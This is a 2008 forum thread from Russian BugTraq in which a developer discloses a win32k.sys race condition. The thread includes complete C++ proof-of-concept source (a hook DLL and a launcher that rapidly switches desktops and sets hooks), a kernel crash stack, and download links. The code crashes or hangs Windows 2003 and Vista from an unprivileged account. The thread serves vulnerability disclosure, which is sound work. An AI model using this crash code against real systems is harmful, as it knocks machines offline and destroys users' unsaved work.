информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
За кого нас держат?Атака на InternetГде водятся OGRы
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
 Умер Никлаус Вирт 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Ну тогда мне выдали 2. Это третья 04.11.08 11:36  Число просмотров: 6721
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> А ктото говорил что не было ошибок в вин32к ;)
Причем своими глазами я видел только 2.

> Просто надо хорошо поискать. Судя по спертым сырцам винды
> код win32k - еще те макароны.. А в них баги всегда есть)
Это да. Хотя наверное за всем этим есть какой то скрытый смысл - а если есть внутренняя логика, то неважно как оно выглядит внешне - ошибок будет мало. Хороший пример - автогенеренный код. Такой нечитабельной каши не напишет ни одна кодманки, а работает оно идеально :-)
<programming>
BSOD в win32k.sys 02.11.08 08:03  
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка>
Предисловие: привет amirul ;)
Давече дописывал тут одну свою фриварную тулзу (HKM) и напоролся на бсод, вызываемый юзермодным кодом без админских прав. workaround от бсода я придумал, ибо негоже мелкой тулзе винду убивать, но сам бсод - есть баг микрософтовский. И вот относительно минимальный, исключительно юзермодный код, которым он воспроизводится:
Готовый проект для VC6 (с откомпиленными бинарями) можно скачать тут: http://slil.ru/26296017
Исходники, а то долго рассказывать что код делает:
hookproc.dll:
, 
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    return TRUE;
}

extern "C" __declspec(dllexport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam)
{
    ::Sleep(0);
    return ::CallNextHookEx(0, nCode, wParam, lParam);
}


---,
launch.exe:
, 
extern "C" __declspec(dllimport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam);
HANDLE g_stop_event = CreateEvent(NULL, TRUE, FALSE, NULL);


DWORD CALLBACK WinThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);

    for(int i=0; i<8; i++)
    {
        CreateWindow(TEXT("STATIC"), TEXT("dummy"), 
            WS_VISIBLE, 10, i*30, 200, 30, 0, 0, 0, 0);
    }
    MSG msg;
    while (1) 
    { 
        ::GetMessage(&msg, NULL, 0, 0);
        ::TranslateMessage(&msg); 
        ::DispatchMessage(&msg); 
    }
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;
}

DWORD CALLBACK ThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    ::SwitchDesktop(desk);
    ::Sleep(0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);
    HINSTANCE dll = ::GetModuleHandle(TEXT("HOOKPROC.dll"));
    HHOOK hk1 = ::SetWindowsHookEx(WH_MOUSE, DummyHookProc, dll, 0);
    HHOOK hk2 = ::SetWindowsHookEx(WH_CALLWNDPROC, DummyHookProc, dll, 0);
    HHOOK hk3 = ::SetWindowsHookEx(WH_CALLWNDPROCRET, DummyHookProc, dll, 0);
    HHOOK hk4 = ::SetWindowsHookEx(WH_GETMESSAGE, DummyHookProc, dll, 0);
    
    for (;;)
    {
        MSG msg;
        while (::PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) 
        { 
            ::TranslateMessage(&msg); 
            ::DispatchMessage(&msg); 
        }
        
        if (::MsgWaitForMultipleObjects(1, &g_stop_event, 
            FALSE, INFINITE, QS_ALLINPUT) == WAIT_OBJECT_0)
        {
            break;
        }
    }
    ::SwitchDesktop(old_desk);
    ::Sleep(0);

    ::UnhookWindowsHookEx(hk1);
    ::UnhookWindowsHookEx(hk2);
    ::UnhookWindowsHookEx(hk3);
    ::UnhookWindowsHookEx(hk4);
	::PostMessage(HWND_BROADCAST, WM_NULL, 0, 0);
	::SendNotifyMessage(HWND_BROADCAST, WM_NULL, 0, 0);
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;

}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

    int i;
    for(i=0; i<4; i++)
    {
        ::CloseHandle(::CreateThread(NULL, 0, WinThreadProc, (LPVOID)i, 0, NULL));
    }

    ::Sleep(1000);;
    while((::GetAsyncKeyState(VK_ESCAPE)&32768)==0)
    {
        for(i=0; i<4; i++)
        {
            HANDLE trd = ::CreateThread(NULL, 0, ThreadProc, (LPVOID)i, 0, NULL);
            ::Sleep(500);
            ::SetEvent(g_stop_event);
            ::WaitForSingleObject(trd, INFINITE);
            ::ResetEvent(g_stop_event);
            ::CloseHandle(trd);
        }
    }

	return 0;
}


---,
BSOD'ятся или жестко зависают в течении нескольких минут работы проги 2к3 на одноядерном атлоне, и Vista x86 на двухядерном интеле.
Стек бсода с висты:
ChildEBP RetAddr  Args to Child              
8f5ac728 81e835a0 0000008e c0000005 97915cd3 nt!KeBugCheckEx+0x1e
8f5acaf8 81ea563a 8f5acb14 00000000 8f5acb68 nt!KiDispatchException+0x1a9
8f5acb60 81ea55ee 8f5acc5c 97915cd3 badb0d00 nt!CommonDispatchException+0x4a (FPO: [0,20,0])
8f5acb80 81f02215 0000000b 948f53f0 00000000 nt!KiExceptionExit+0x186
8f5acc5c 97991dad 15e02058 00000000 00000000 nt!EtwTraceContextSwap+0x14a
8f5acc78 979d9b8b 00000000 00000000 00000000 win32k!xxxCallNextHookEx+0x35 (FPO: [Non-Fpo])
8f5acccc 979166ed fbe024f0 00000005 00000000 win32k!fnHkINLPCWPEXSTRUCT+0x5d (FPO: [Non-Fpo])
8f5acce8 9793d674 fbe024f0 00000005 00000000 win32k!NtUserfnDWORD+0x27 (FPO: [Non-Fpo])
8f5acd20 81ea4a7a 005d00bc 00000005 00000000 win32k!NtUserMessageCall+0xc6 (FPO: [Non-Fpo])
8f5acd20 77549a94 005d00bc 00000005 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 8f5acd44)
06ecea5c 76b48871 76b70b70 005d00bc 00000005 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
06ecea60 76b70b70 005d00bc 00000005 00000000 USER32!NtUserMessageCall+0xc (FPO: [Non-Fpo])*WARNING: Unable to verify checksum for hookproc.dll*ERROR: Symbol file could not be found.  Defaulted to export symbols for hookproc.dll - 
06ecea90 1000102f 00000000 00000000 00000000 USER32!CallNextHookEx+0x10b (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
06ecead8 76b929ff 00040000 00000000 06eceaf0 hookproc!DummyHookProc+0x1f
06eceb00 76b50a65 084124f0 00000005 00000000 USER32!fnHkINLPCWPSTRUCTA+0x4f (FPO: [Non-Fpo])
06eceb28 775499ce 06eceb40 00000018 06ecf208 USER32!__fnDWORD+0x24 (FPO: [Non-Fpo])
06eceb54 76b43cf7 76b43b94 00000088 06ecee80 ntdll!KiUserCallbackDispatcher+0x2e (FPO: [0,0,0])
06eceb58 76b43b94 00000088 06ecee80 06eceba8 USER32!NtUserCreateWindowEx+0xc (FPO: [Non-Fpo])
06ecedfc 76b43cc3 00000088 06ecee80 06ecee94 USER32!VerNtUserCreateWindowEx+0x1ac (FPO: [Non-Fpo])
06eceea8 76b43d9a 00000088 6ff5239c 06ecee94 USER32!_CreateWindowEx+0x1f9 (FPO: [Non-Fpo])

---
Вроде ответили, что форварднули куда надо. 04.11.08 09:33  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
Посмотрим как быстро пофиксят
А ктото говорил что не было ошибок в вин32к ;) 04.11.08 11:18  
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка>
А ктото говорил что не было ошибок в вин32к ;)
Просто надо хорошо поискать. Судя по спертым сырцам винды код win32k - еще те макароны.. А в них баги всегда есть)
Ну тогда мне выдали 2. Это третья 04.11.08 11:36  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> А ктото говорил что не было ошибок в вин32к ;)
Причем своими глазами я видел только 2.

> Просто надо хорошо поискать. Судя по спертым сырцам винды
> код win32k - еще те макароны.. А в них баги всегда есть)
Это да. Хотя наверное за всем этим есть какой то скрытый смысл - а если есть внутренняя логика, то неважно как оно выглядит внешне - ошибок будет мало. Хороший пример - автогенеренный код. Такой нечитабельной каши не напишет ни одна кодманки, а работает оно идеально :-)
Проблема такого кода в том что его модифицировать опасно... 04.11.08 11:50  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 04.11.08 11:55  Количество правок: 2
<"чистая" ссылка>
> Это да. Хотя наверное за всем этим есть какой то скрытый
> смысл - а если есть внутренняя логика, то неважно как оно
> выглядит внешне - ошибок будет мало. Хороший пример -
> автогенеренный код. Такой нечитабельной каши не напишет ни
> одна кодманки, а работает оно идеально :-)
Проблема такого кода в том что его модифицировать опасно. Особенно без полного набора тестов на функционал и безопасность. Одинаково опасно модифицировать и кашу кодманки и кодогенератора :)
Что похоже и имело место тут. Т.к. ХР не свалилась за ночь издевательства десктопами. А 2к3/Виста валятся в первые 10 секунд. Могу даже дальше пофантазировать и предположить что изменения в коде были вызваны введением UAC и необходимостью разграничения доступа к user32 объектам между различными IL. Впрочем непонятно почему 2к3 поломали по сравнению с ХР. Может, там уже в win32k сделали эти изменения - на будущее :)
Согласен 04.11.08 21:34  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> Проблема такого кода в том что его модифицировать опасно.
> Особенно без полного набора тестов на функционал и
Тесты то есть. И кавередж тоже. Вот только рейсы не выявляются ни одним кодкавереджем.

> безопасность. Одинаково опасно модифицировать и кашу
> кодманки и кодогенератора :)
Ага :-)

В общем пошло обсуждение и вроде бы нашли related issue.
И тебе привет :-) 02.11.08 10:04  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> Давече дописывал тут одну свою фриварную тулзу (HKM) и
> напоролся на бсод, вызываемый юзермодным кодом без
> админских прав. workaround от бсода я придумал, ибо негоже
> мелкой тулзе винду убивать, но сам бсод - есть баг
Негоже.

> микрософтовский. И вот относительно минимальный,
> исключительно юзермодный код, которым он воспроизводится:
Сейчас поздно. Завтра попробую потестить, а с понедельника опять таки попробую найти куда бы это протолкнуть.
На работе проверил на ХР и Висте х64. ХР вроде не падает а... 03.11.08 15:25  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 03.11.08 15:27  Количество правок: 1
<"чистая" ссылка>
> > микрософтовский. И вот относительно минимальный,
> > исключительно юзермодный код, которым он
> воспроизводится:
> Сейчас поздно. Завтра попробую потестить, а с понедельника
> опять таки попробую найти куда бы это протолкнуть.
На работе проверил на ХР и Висте х64. ХР вроде не падает, а виста 64битная - тоже грохнулась как и 32хбитная. Причем уменьшение Sleep(500) до Sleep(100) значительно ускоряет процесс :)
Похоже гдето гонка в win32k в снятии хуков.
Кстати обе висты проапдейтенные по самое не балуй.
Есть репродюс на висте и одной из последних сборок вин7 :-) 03.11.08 21:58  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> На работе проверил на ХР и Висте х64. ХР вроде не падает, а
> виста 64битная - тоже грохнулась как и 32хбитная. Причем
> уменьшение Sleep(500) до Sleep(100) значительно ускоряет
> процесс :)
> Похоже гдето гонка в win32k в снятии хуков.
> Кстати обе висты проапдейтенные по самое не балуй.

Буду искать куда бы это запихать (сам я баг открыть не могу - ибо совершенно в другой команде).
может, в рассылку багтрака? :) 03.11.08 22:11  
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка>
Можно и туда. По моему вполне себе новость. Но решение за dl-ем :-) 03.11.08 22:28  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
легко, если это будет сформулировано словами :) 03.11.08 22:59  
Автор: dl <Dmitry Leonov>
<"чистая" ссылка>
Т.е. источник проблемы - активное создание хуков из потоков в сочетании с созданием рабочих столов для каждого потока?
Примерно такими? :) 03.11.08 23:35  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 03.11.08 23:38  Количество правок: 2
<"чистая" ссылка>
Многократное переключение между Win32 объектами рабочих столов, на которых есть окна, с одновременным созданием потоков, устанавливающих/снимающих Win32 хуки на этих столах и рассылающих оконные сообщений на них в половине случаев приводит к BSODу изза AV в коде win32k.sys, а в другой половине - к зависанию системы. Происходит это предположительно изза race condition между потоком, снимающим хук и одновременной доставкой сообщения в другой поток. В этих условиях проблема воспроизводится под win'2k3, Vista x86 и x64. Для проведения атаки достаточно прав обычного пользователя.

Код:

hookproc.dll:

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    return TRUE;
}

extern "C" __declspec(dllexport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam)
{
    ::Sleep(0);
    return ::CallNextHookEx(0, nCode, wParam, lParam);
}

launch.exe:
// launch.cpp : Defines the entry point for the application.
//

#include "stdafx.h"

extern "C" __declspec(dllimport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam);
HANDLE g_stop_event = CreateEvent(NULL, TRUE, FALSE, NULL);


DWORD CALLBACK WinThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);

    for(int i=0; i<8; i++)
    {
        CreateWindow(TEXT("STATIC"), TEXT("dummy"), 
            WS_VISIBLE, 10, i*30, 200, 30, 0, 0, 0, 0);
    }
    MSG msg;
    while (1) 
    { 
        ::GetMessage(&msg, NULL, 0, 0);
        ::TranslateMessage(&msg); 
        ::DispatchMessage(&msg); 
    }
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;
}

DWORD CALLBACK ThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    ::SwitchDesktop(desk);
    ::Sleep(0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);
    HINSTANCE dll = ::GetModuleHandle(TEXT("HOOKPROC.dll"));
    HHOOK hk1 = ::SetWindowsHookEx(WH_MOUSE, DummyHookProc, dll, 0);
    HHOOK hk2 = ::SetWindowsHookEx(WH_CALLWNDPROC, DummyHookProc, dll, 0);
    HHOOK hk3 = ::SetWindowsHookEx(WH_CALLWNDPROCRET, DummyHookProc, dll, 0);
    HHOOK hk4 = ::SetWindowsHookEx(WH_GETMESSAGE, DummyHookProc, dll, 0);
    
    for (;;)
    {
        MSG msg;
        while (::PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) 
        { 
            ::TranslateMessage(&msg); 
            ::DispatchMessage(&msg); 
        }
        
        if (::MsgWaitForMultipleObjects(1, &g_stop_event, 
            FALSE, INFINITE, QS_ALLINPUT) == WAIT_OBJECT_0)
        {
            break;
        }
    }
    ::SwitchDesktop(old_desk);
    ::Sleep(0);

    ::UnhookWindowsHookEx(hk1);
    ::UnhookWindowsHookEx(hk2);
    ::UnhookWindowsHookEx(hk3);
    ::UnhookWindowsHookEx(hk4);
	::PostMessage(HWND_BROADCAST, WM_NULL, 0, 0);
	::SendNotifyMessage(HWND_BROADCAST, WM_NULL, 0, 0);
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;

}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

    int i;
    for(i=0; i<4; i++)
    {
        ::CloseHandle(::CreateThread(NULL, 0, WinThreadProc, (LPVOID)i, 0, NULL));
    }

    ::Sleep(1000);;
    while((::GetAsyncKeyState(VK_ESCAPE)&32768)==0)
    {
        for(i=0; i<4; i++)
        {
            HANDLE trd = ::CreateThread(NULL, 0, ThreadProc, (LPVOID)i, 0, NULL);
            ::Sleep(100);
            ::SetEvent(g_stop_event);
            ::WaitForSingleObject(trd, INFINITE);
            ::ResetEvent(g_stop_event);
            ::CloseHandle(trd);
        }
    }

	return 0;
}

---
Готовый проект под VC6 и скомпилированные бинарники скачать можно тут: http://slil.ru/26299966
вполне, спасибо; запостил 04.11.08 01:16  
Автор: dl <Dmitry Leonov>
<"чистая" ссылка>
Предположительно изза race condition с потоком который... 03.11.08 23:08  
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка>
Предположительно изза race condition с потоком который снимает хук и одновременной доставкой сообщения в другой поток. Похоже оно пытается вызвать только что убитый хук. Имеют ли прямое отношение десктопы к этому, или просто оно приводят к каким либо особенным условиям тайминга исполнения плохо синхронизированного кода - пока хз. В дампе ничего напрямую про десктопы не видно. Но без них воспроизвести пока не получилось.
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach